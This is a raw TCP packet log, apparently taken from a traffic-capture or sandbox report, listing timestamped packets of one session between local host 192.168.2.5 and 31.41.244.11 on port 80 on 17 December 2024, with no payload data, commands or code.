Dec 17, 2024 08:03:49.962348938 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.963152885 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.963197947 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.963259935 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.963308096 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.964195013 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.964253902 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.964304924 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.964349031 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.965282917 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.965337992 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.965390921 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.965434074 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.966240883 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.966294050 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.966356993 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.966398954 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.967350960 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.967387915 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.967400074 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.967439890 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.968308926 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.968364000 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.968413115 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.968457937 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.969410896 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.969445944 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.969470978 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.969491959 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.970499992 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.970554113 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.970578909 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.970606089 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.971231937 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.971286058 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.971376896 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.971451044 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.972234964 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.972287893 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.972366095 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.972404957 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.973743916 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.973779917 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.973794937 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.973886013 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.974379063 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.974422932 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.974559069 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.974603891 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.975425005 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.975485086 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.975528955 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.975577116 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.976408005 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.976485968 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.976516008 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.976567030 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.977324963 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.977375031 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.977426052 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.977469921 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.978322983 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.978370905 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.978487968 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.978535891 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.979330063 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.979387045 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.979412079 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.979453087 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.980340958 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.980411053 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.980499983 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.980597973 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.981326103 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.981421947 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.981451988 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.981554985 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.982350111 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.982393980 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.982404947 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.982450962 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.983378887 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.983423948 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.983450890 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.983490944 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.984299898 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.984347105 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.984422922 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.984467030 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.985399008 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.985435963 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.985487938 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.986394882 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.986463070 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.986504078 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.986515045 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.987396955 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.987449884 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.987504959 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.987559080 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.988332987 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.988384962 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.988605022 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.988728046 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.989375114 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.989427090 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.989506006 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.989650965 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.990430117 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.990473986 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.990586042 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.990629911 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.991375923 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.991513014 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.991559029 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.992369890 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.992417097 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.992490053 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.992535114 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.993428946 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.993478060 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.993556023 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.993685007 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.994633913 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.994673014 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.994718075 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.995400906 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.995448112 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.995533943 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.995577097 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.996428013 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.996473074 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.996534109 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.996576071 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.997467041 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.997519970 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.997575998 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.997618914 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.998439074 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.998492002 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.998544931 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.998588085 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.999459982 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.999660969 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.999707937 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.000510931 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.000612020 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.000617981 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.000662088 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.001463890 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.001513958 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.001532078 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.001566887 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.145078897 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.145138025 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.145165920 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.145174980 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.145191908 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.145212889 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.145224094 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.145257950 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.146223068 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.146258116 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.146269083 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.146302938 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.147273064 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.147308111 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.147325993 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.147353888 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.148340940 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.148376942 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.148390055 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.148421049 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.149410009 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.149444103 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.149456024 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.149491072 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.150505066 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.150538921 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.150556087 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.150585890 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.151309967 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.151360035 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.151366949 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.151410103 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.152070999 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.152126074 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.152679920 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.152729988 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.153330088 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.153383970 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.153510094 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.153558969 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.154129028 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.154176950 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.154256105 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.154304028 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.155339956 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.155375004 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.155396938 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.155420065 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.156409025 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.156444073 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.156459093 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.156488895 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.157474995 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.157510996 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.157526016 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.157558918 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.158396959 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.158431053 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.158452034 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.158476114 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.159398079 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.159434080 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.159445047 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.159495115 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.160289049 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.160324097 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.160339117 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.160370111 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.161329031 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.161362886 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.161385059 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.161407948 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.162455082 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.162491083 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.162507057 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.162532091 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.163399935 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.163436890 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.163455963 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.163532972 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.164282084 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.164315939 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.164334059 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.164367914 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.165246010 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.165294886 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.165334940 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.165385008 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.166454077 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.166487932 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.166505098 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.166537046 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.167295933 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.167346001 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.167368889 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.167419910 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.168344975 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.168379068 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.168394089 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.168420076 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.169409990 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.169444084 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.169454098 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.169491053 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.170448065 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.170497894 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.170558929 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.170607090 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.171394110 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.171427965 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.171444893 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.171473980 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.172533035 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.172569036 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.172585011 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.172614098 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.173522949 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.173557997 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.173576117 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.173600912 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.174305916 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.174355984 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.174586058 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.174629927 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.175398111 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.175431967 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.175446987 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.175476074 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.176422119 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.176456928 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.176471949 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.176500082 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.177484035 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.177519083 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.177539110 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.177562952 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.178345919 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.178399086 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.178524017 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.178566933 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.179378033 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.179426908 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.179449081 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.179496050 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.180318117 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.180368900 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.180494070 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.180542946 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.181348085 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.181400061 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.181448936 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.181499004 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.182410955 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.182460070 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.182507992 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.182557106 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.183337927 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.183399916 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.183469057 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.183562994 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.184406042 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.184472084 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.184576988 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.184628963 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.185476065 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.185523987 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.185530901 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.185575962 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.186496019 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.186530113 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.186546087 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.186572075 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.187398911 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.187450886 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.187531948 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.187582016 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.188469887 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.188504934 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.188520908 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.188556910 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.188600063 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.189909935 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.189945936 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.189963102 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.189989090 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:50.190587044 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:50.190623045 CET	80	49920	31.41.244.11	192.168.2.5
